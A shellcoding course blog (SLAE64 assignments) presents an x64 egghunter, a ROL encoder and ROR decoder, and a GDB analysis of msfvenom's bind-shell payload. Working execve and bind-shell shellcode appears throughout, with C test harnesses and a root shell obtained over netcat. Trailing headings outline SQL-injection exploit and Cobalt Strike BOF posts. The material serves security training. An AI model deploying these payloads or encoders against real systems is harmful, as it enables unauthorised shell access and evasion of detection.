To test the egghunter, we create a simple C program that will search for our egg(s). Once we find our eggs, the egghunter will jump to our payload and execute our execve shellcode.

EggHunter C Program

// Shellcode Title:  Linux/x64 - EggHunter Execve Shellcode (63 Bytes)
// Shellcode Author: Bobby Cooke
// Tested On:        Kali Linux 5.3.0-kali3-amd64 x86_64
// Filename: Hunter.c
#include <stdio.h>
#include <string.h>
// This is the egg for our eggHunter
// the egg should be 4 bytes and be executable
#define egg "\x90\x50\x90\x50"

unsigned char shellcode[] = \
egg \
egg \
"\x48\x31\xf6"     // xor rsi, rsi
"\x48\xf7\xe6"     // mul rsi          ; rdx&rax= 0x0
"\x48\x31\xff"     // xor rdi, rdi
"\x57"             // push rdi
"\x48\x83\xc2\x68" // add rdx, 0x68
"\x52"             // push rdx
"\x48\xba\x2f\x62\x69\x6e\x2f\x62\x61\x73" // movabs rdx, 0x7361622f6e69622f ; "/bin/bas"
"\x52"             // push rdx
"\x48\x31\xd2"     // xor rdx, rdx
"\x48\x89\xe7"     // mov rdi, rsp ; rdi = Pointer -> "/bin/bash"0x00
"\xb0\x3b"         // mov al, 0x3b ; execve syscall number
"\x0f\x05";        // syscall  ; call execve("/bin/bash", NULL, NULL)

// Replace the hardcoded egg with a variable.
// This allows us to easily change the egg for our eggHunter.
unsigned char egghunter[] = \
"\x48\x31\xc9"                 // xor rcx, rcx
"\x48\xf7\xe1"                 // mul rcx
"\x48\x81\xc2\x10\x10\x55\x55" // add rdx, 0x55551010 ; Start >0 (hopefully reduce time)
"\x48\xc1\xe2\x10"             // shl rdx, 0x10       ; 0x55551010 => 0x555510100000
// nextPage:
"\x66\x81\xca\xff\x0f"         // or dx, 0xfff        ; 0xfff = 4096. Size of page
// nextAddress:
// ; int link(const char *oldpath, const char *newpath);
"\x48\xff\xc2"     // inc rdx
"\x48\x8d\x7a\x08" // lea rdi, [rdx+0x8]  ; ARG1=*oldpath
"\x48\x31\xf6"     // xor rsi, rsi        ; ARG2=*newpath
"\x48\x31\xc0"     // xor rax, rax        ; reset rax for syscall
"\x04\x56"         // add al, 0x56        ; System Call for link()
"\x0f\x05"         // syscall             ; Executes link()
"\x3c\xf2"         // cmp al, 0xf2        ; Can memory address be read?
"\x74\xe6"         // jz nextPage         ; If no, check the next memory page
"\x48\x31\xdb"     // xor rbx, rbx
"\x81\xc3\x90\x50\x90\x50"     // add ebx, 0x50905090 ; Configure Egg in RBX
"\x39\x1a"         // cmp [rdx], ebx      ; Egg?
"\x75\xde"         // jnz nextAddress     ; No Egg? Go to next memory page
"\x39\x5a\x04"     // cmp [rdx+0x4], ebx  ; second Egg?
"\x75\xd9"         // jnz nextAddress     ; No Egg? Check next memory address
"\xff\xe2";        // jmp rdx             ; EGG FOUND! Jump to Egg!

int main()
{
    printf("Memory Location of Shellcode: %p\n", shellcode);
    printf("Memory Location of EggHunter: %p\n", egghunter);
    printf("Size of Egghunter:          %d\n", strlen(egghunter));
    int (*ret)() = (int(*)())egghunter;
    ret();
}

Testing the EggHunter

root# gcc -m64 -z execstack -fno-stack-protector Hunter.c -o Hunter
root# echo $$ | xargs ps
  PID TTY      STAT   TIME COMMAND
13916 pts/4    Ss     0:00 /bin/bash
root# ./Hunter
Memory Location of Shellcode: 0x555555558060
Memory Location of EggHunter: 0x5555555580a0
Size of Egghunter:          63
root# echo $$ | xargs ps
  PID TTY      STAT   TIME COMMAND
14495 pts/4    S      0:00 [bash]

Awesome! Our EggHunter works!

SLAE64 Blog Proof

This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
    https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913

SLAE64 Assignment 4 - ROL Encoder

2020-04-26T00:00:00+00:00

Overview

For the fourth assignment of the SLAE64 I created a Rotate Left (ROL) Encoder and a Rotate Right (ROR) decoder.
The ROL encoder is a python program that rotates every byte of the payload to the left by 1 bit. The companion ROR decoder rotates every byte of the payload to the right by 1 bit, and then passes execution to the decoded payload. The example payload is an execve shellcode that spawns a bash shell.

The Python Rotate Left (ROL) Encoder

#!/usr/bin/python
shellcode  = "\x48\x31\xf6"     # xor rsi, rsi
shellcode += "\x48\xf7\xe6"     # mul rsi          ; rdx&rax= 0x0
shellcode += "\x48\x31\xff"     # xor rdi, rdi
shellcode += "\x57"             # push rdi
shellcode += "\x48\x83\xc2\x68" # add rdx, 0x68
shellcode += "\x52"             # push rdx
shellcode += "\x48\xba\x2f\x62\x69\x6e\x2f\x62\x61\x73" # movabs rdx, 0x7361622f6e69622f
shellcode += "\x52"             # push rdx
shellcode += "\x48\x31\xd2"     # xor rdx, rdx
shellcode += "\x48\x89\xe7"     # mov rdi, rsp ; rdi = Pointer -> "/bin/bash"0x00
shellcode += "\xb0\x3b"         # mov al, 0x3b ; execve syscall number
shellcode += "\x0f\x05";        # syscall  ; call execve("/bin/bash", NULL, NULL)

encoded = ""
for x in bytearray(shellcode) :
    if x > 127:
        x = x - 128             # Remove the left-most bit
        x = x << 1              # Shift to the left 1
        x += 1                  # Add 1, to complete the rotate
        encoded += '0x'
        encoded += '%02x,' %x  # Add the rotated left hex to string
    else:
        encoded += '0x'        # No leftmost bit, just rotate
        encoded += '%02x,' %(x << 1)
print encoded+"0xaa"
print 'Len: %d' % len(bytearray(shellcode))

The byte 0xaa is added to the end of the payload. This is how our ROR decoder will know it has reached the end of the payload.

Encoding the Payload

root# python rotateLeftEncoder.py
0x90,0x62,0xed,0x90,0xef,0xcd,0x90,0x62,0xff,0xae,0x90,0x07,\
0x85,0xd0,0xa4,0x90,0x75,0x5e,0xc4,0xd2,0xdc,0x5e,0xc4,0xc2,\
0xe6,0xa4,0x90,0x62,0xa5,0x90,0x13,0xcf,0x61,0x76,0x1e,0x0a,0xaa
Len: 36

The Rotate Right (ROR) Decoder

; Filename: rotateRightDecoder.nasm
; Author:   boku
global _start
section .text
_start:
  jmp short call_decoder ; 1. jump to shellcode string
decoder:
  pop rsi                ; 3. RSI=&String 
decode:
  ror byte [rsi], 1      ; 4. decode byte with bitwise rotate right
  cmp byte [rsi], 0x55   ; 5. Last byte? ror 0xaa, 1 = 0x55
  je Shellcode           ;    - Yes? jump to payload and execute
  inc rsi                ; 6. No? Move forward 1 byte
  jmp short decode       ; 7. Lets decode the next byte
call_decoder:
  call decoder           ; 2. [RSP]=&String
  Shellcode: db 0x90,0x62,0xed,0x90,0xef,0xcd,0x90,0x62,0xff,0xae,\
                0x90,0x07,0x85,0xd0,0xa4,0x90,0x75,0x5e,0xc4,0xd2,\
                0xdc,0x5e,0xc4,0xc2,0xe6,0xa4,0x90,0x62,0xa5,0x90,\
                0x13,0xcf,0x61,0x76,0x1e,0x0a,0xaa

Getting the ROR Decoder Shellcode

root# cat getshellcode.sh
#!/bin/bash
asmFile=$1
noExt=$(echo $asmFile | sed 's/\..*$//g')
objFile=$noExt".o"
nasm -f elf64 $asmFile -o $objFile
for i in $(objdump -D $objFile | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo ''

root# ./getshellcode.sh rotateRightDecoder.asm
\xeb\x0d\x5e\xd0\x0e\x80\x3e\x55\x74\x0a\x48\xff
\xc6\xeb\xf4\xe8\xee\xff\xff\xff\x90\x62\xed\x90
\xef\xcd\x90\x62\xff\xae\x90\x07\x85\xd0\xa4\x90
\x75\x5e\xc4\xd2\xdc\x5e\xc4\xc2\xe6\xa4\x90\x62
\xa5\x90\x13\xcf\x61\x76\x1e\x0a\xaa

Testing the ROR Decoder

// Shellcode Title:  Linux/x64 - ROL Encoded Execve Shellcode (57 bytes)
// Shellcode Author: Bobby Cooke
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = \
"\xeb\x0d"              // jmp short call_decoder
// decoder:
"\x5e"                  // pop rsi = &String
// decode:
"\xd0\x0e"              // ror byte [rsi], 1
"\x80\x3e\x55"          // cmp byte [rsi], 0x55 - last byte? ror 0xaa, 1 = 0x55
"\x74\x0a"              // je Shellcode - End? Jump to shellcode!
"\x48\xff\xc6"          // inc rsi - Not end? move 2 next byte
"\xeb\xf4"              // jmp short decode - loop 2 decode next byte
// call_decoder:
"\xe8\xee\xff\xff\xff"  // call decoder // go 2 decode loop
// Execve(/bin/bash) ROL Encoded Shellcode
"\x90\x62\xed\x90\xef\xcd\x90\x62\xff\xae\x90\x07\x85"
"\xd0\xa4\x90\x75\x5e\xc4\xd2\xdc\x5e\xc4\xc2\xe6\xa4"
"\x90\x62\xa5\x90\x13\xcf\x61\x76\x1e\x0a\xaa";

int main()
{
        printf("Shellcode Length:  %d\n", strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}

Final Test

root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
root# echo $$ | xargs ps
  PID TTY      STAT   TIME COMMAND
 3067 pts/3    Ss     0:00 /bin/bash
root# ./shellcode
Shellcode Length:  57
root# echo $$ | xargs ps
  PID TTY      STAT   TIME COMMAND
 3501 pts/3    S      0:00 [bash]

SLAE64 Blog Proof

This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
    https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913

SLAE64 Assignment 5 - MSFVenom Bind Shell Analysis

2020-04-26T00:00:00+00:00

Overview

For the fifth assignment of the SLAE64, I analyzed three payloads from msfvenom. This is the third payload, linux/x64/shell_bind_tcp.

Bind Shell Anaylsis

We will be analyzing the msfvenom non-staged bind shell payload.

Generating the MSFVenom Payload

Here we generate the payload on Kali Linux and output it to the C format. This allows us to easy add it to our host shellcode.c program.

root# msfvenom -v shellcode -f c -p linux/x64/shell_bind_tcp
Payload size: 86 bytes
unsigned char shellcode[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

Shellcode.c Host Program

Here we add our shellcode to our C host program. We will compile our host program, and then use GDB for analysis of the non-staged bindshell payload.

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
int main()
{
        int (*ret)() = (int(*)())shellcode;
        ret();
}

Compile & Test Shellcode.c

After executing the host bindshell program, connect to it on TCP port 4444 with a netcat connection.

Terminal 1

root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
root# ./shellcode

Terminal 2

root# nc 127.0.0.1 4444
id
uid=0(root) gid=0(root) groups=0(root)

GDB Analysis

Setup

Here we will start our shellcode with the Gnu Debugger and set a breakpoint on the main function. After the breakpoint is set, we will run the program.

root# gdb ./shellcode
GNU gdb (Debian 8.3.1-1) 8.3.1
gdb-peda$ b main
Breakpoint 1 at 0x1129
gdb-peda$ r

Finding shellcode[]

We will use the GDB step-into (s) command to move through our program until we reach the point where execution is passed to the shellcode[] array (our non-staged bind shell, shellcode from msfvenom).

=> 0x555555555141 <main+28>:    call   rdx
gdb-peda$ s

Step into rdx (shellcode[]).

Dumping MSFVenom Bind Shell Assembly Instructions

With the instruction pointer (RIP) on the first instruction of shellcode, dump the instructions of the entire payload.

gdb-peda$ x/43i $rip
=> 0x555555558040 <shellcode>:  push   0x29
   0x555555558042 <shellcode+2>:        pop    rax
   0x555555558043 <shellcode+3>:        cdq
   0x555555558044 <shellcode+4>:        push   0x2
   0x555555558046 <shellcode+6>:        pop    rdi
   0x555555558047 <shellcode+7>:        push   0x1
   0x555555558049 <shellcode+9>:        pop    rsi
   0x55555555804a <shellcode+10>:       syscall
   0x55555555804c <shellcode+12>:       xchg   rdi,rax
   0x55555555804e <shellcode+14>:       push   rdx
   0x55555555804f <shellcode+15>:       mov    DWORD PTR [rsp],0x5c110002
   0x555555558056 <shellcode+22>:       mov    rsi,rsp
   0x555555558059 <shellcode+25>:       push   0x10
   0x55555555805b <shellcode+27>:       pop    rdx
   0x55555555805c <shellcode+28>:       push   0x31
   0x55555555805e <shellcode+30>:       pop    rax
   0x55555555805f <shellcode+31>:       syscall
   0x555555558061 <shellcode+33>:       push   0x32
   0x555555558063 <shellcode+35>:       pop    rax
   0x555555558064 <shellcode+36>:       syscall
   0x555555558066 <shellcode+38>:       xor    rsi,rsi
   0x555555558069 <shellcode+41>:       push   0x2b
   0x55555555806b <shellcode+43>:       pop    rax
   0x55555555806c <shellcode+44>:       syscall
   0x55555555806e <shellcode+46>:       xchg   rdi,rax
   0x555555558070 <shellcode+48>:       push   0x3
   0x555555558072 <shellcode+50>:       pop    rsi
   0x555555558073 <shellcode+51>:       dec    rsi
   0x555555558076 <shellcode+54>:       push   0x21
   0x555555558078 <shellcode+56>:       pop    rax
   0x555555558079 <shellcode+57>:       syscall
   0x55555555807b <shellcode+59>:       jne    0x555555558073 <shellcode+51>
   0x55555555807d <shellcode+61>:       push   0x3b
   0x55555555807f <shellcode+63>:       pop    rax
   0x555555558080 <shellcode+64>:       cdq
   0x555555558081 <shellcode+65>:       movabs rbx,0x68732f6e69622f
   0x55555555808b <shellcode+75>:       push   rbx
   0x55555555808c <shellcode+76>:       mov    rdi,rsp
   0x55555555808f <shellcode+79>:       push   rdx
   0x555555558090 <shellcode+80>:       push   rdi
   0x555555558091 <shellcode+81>:       mov    rsi,rsp
   0x555555558094 <shellcode+84>:       syscall
   0x555555558096 <shellcode+86>:       add    BYTE PTR [rax],al

Socket System Call

<shellcode>:          push   0x29
<shellcode+2>:        pop    rax
<shellcode+3>:        cdq
<shellcode+4>:        push   0x2
<shellcode+6>:        pop    rdi
<shellcode+7>:        push   0x1
<shellcode+9>:        pop    rsi
<shellcode+10>:       syscall
 

In the first 3 commands we can see that rax is set to 0x29.
- This is the system call number for socket.
cdq is used to clear out the rdx register
- set it to 0x0 aka NULL
rdi is set to 0x2 which is AF_INET
rsi is set to 0x1 which is SOCK_STREAM

Bind System Call

<shellcode+12>:       xchg   rdi,rax

Here we see the socket file descriptor returned from the socket system call, passed to the connect system call.

<shellcode+14>:       push   rdx
<shellcode+15>:       mov    DWORD PTR [rsp],0x5c110002
<shellcode+22>:       mov    rsi,rsp
<shellcode+25>:       push   0x10
<shellcode+27>:       pop    rdx
<shellcode+28>:       push   0x31
<shellcode+30>:       pop    rax
<shellcode+31>:       syscall

The dword (4 bytes) of 00’s is used for IPADDR_ANY
- rdx is 0x0
- This means the bind shell will bind to all network interfaces.
0002 is AF_INET
5c11 is for TCP Port 4444
rdx is equal to the size of the struct.
- 16 bytes in decimal, or 0x10 in hex.
0x31 is the system call number for bind.

Listen System Call

<shellcode+33>:       push   0x32
<shellcode+35>:       pop    rax
<shellcode+36>:       syscall

0x32 is the system call number for bind.
rsi is for the variable backlog and the value should not really matter.

Accept System Call

<shellcode+38>:       xor    rsi,rsi
<shellcode+41>:       push   0x2b
<shellcode+43>:       pop    rax
<shellcode+44>:       syscall

rdi is already set to the socket file descriptor returned from the socket system call.
No socket address struct is needed, so rsi and rdx are set to 0x0.

Dup2 Loop

This is the dup2 system call loop to pass standard input, output, and error to the remote connection.

<shellcode+48>:       push   0x3
<shellcode+50>:       pop    rsi
<shellcode+51>:       dec    rsi
<shellcode+54>:       push   0x21
<shellcode+56>:       pop    rax
<shellcode+57>:       syscall
<shellcode+59>:       jne    <shellcode+51>
 

0x21 is the system call for dup2.

Execve

Here we see the execve system call which will spawn a shell after establishing a connection.

<shellcode+61>:       push   0x3b
<shellcode+63>:       pop    rax
<shellcode+64>:       cdq

set rax to the system call number for execve.
cdq clears the rdx register.

RDI: 0x7fffffffe0e8 --> 0x68732f6e69622f ('/bin/sh')

<shellcode+65>:       movabs rbx,0x68732f6e69622f
<shellcode+75>:       push   rbx
<shellcode+76>:       mov    rdi,rsp
<shellcode+79>:       push   rdx

Here we see rdi set to the memory address of the null terminated string /bin/sh.

RSI: 0x7fffffffe0d8 --> 0x7fffffffe0e8 --> 0x68732f6e69622f ('/bin/sh')

<shellcode+80>:       push   rdi
<shellcode+81>:       mov    rsi,rsp

Here we see rsi set to be a pointer to a pointer for the string /bin/sh.

<shellcode+84>:       syscall
<shellcode+86>:       add    BYTE PTR [rax],al

And finally, this is our bind shell spawning the /bin/sh for the connection.

SLAE64 Blog Proof

This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
    https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913

Boku

Beginners Guide to 0day/CVE AppSec Research

Blog Contributors: Adeeb Shah @hyd3sec & John Jackson(@johnjhacking)

About

Target Web Application Discovery

Discovering a Target Application

Application Environment Setup

VSCode Debugger Setup

VSCode Installation on Kali Linux

VSCode PHP Debug Extension Installation

launch.json Debugging Config File Creation

Default launch.json Config File

PHP-XDebug Installation

PHP Configuration File Modification

Restart Apache Service

Set Debugging Breakpoint

Breaking on that BP

VSCode PHP Code Intelligence Setup

Hover to see function definition:

Right-Click to jump to function definition:

Viewing the sanitize() functions source code:

Enable MySQL / MariaDB SQL Query Logging

Modify MySQL Config

Streaming MySQL Log Output

Vulnerability Hunting

Searching for Post Params

Discovering SQL Injection

Exploiting SQL Whitebox Style

Can’t Write a Webshell

Looks Like Sleep Based Blind SQL it is!

Looking in “the back of the book” for SQL Answers

Sleep for Passwords

Testing our Sleep Payload in BurpSuite

Simple PoC To Exploit Sleep for Answers

Add some 1337 to that Sploit

Create a Help menu with ArgParse:

Code for the final exploit:

Submitting the Exploit!

Adding the Header

Submitting to Exploit-DB

Discovering Broken Access Control

Discover More Vulns!

Creating the WhereAmI Cobalt Strike BOF

Overview

Our BOF Flow to get the Environment Variables Dynamically in Memory

Previewing Our Target Environment Strings with WinDBG

Initial Setup

From TEB to PEB

Viewing the TEB in WinDBG

Parsing the TEB Structure in Memory

Creating TEB to PEB Shellcode

Editing Opcodes in memory with x64dbg

Confirming PEB Address

Our Assembly Code So Far

From PEB to ProcessParameters

Get the Address of the PEB Again

Walk the PEB Struct to find ProcessParameters Struct

From ProcessParameters to Environment

Walk the ProcessParameters Struct to find our Environment

Viewing the Environment Unicode Strings

Assembly Shellcode to get to Environment from Anywhere in Memory

Testing That our Code Works

Confirming the Environment Address

Create a BOF Prototype

Creating the our BOF Prototype

How to install Ming on macOS:

Compile the BOF Prototype

Executing our BOF from Cobalt Strike

Create an Aggressor Script Prototype for UI/UX

whereami.cna

Load our Aggressor Script into Cobalt Strike

Testing our BOF & Aggressor Script

Resolving Environment Address & Size with our BOF

Compiling our BOF with Inline Assembly

Testing our Inline Assembly BOF

Making our BOF Modular

Compile & Test our Inline Assembly BOF

Resolving the Unicode Strings in the Enviroment Block

Breaking’ on that BOF

Creating a Workspace

`launch.json` Debugging Config File Creation

Default `launch.json` Config File

Viewing the `sanitize()` functions source code: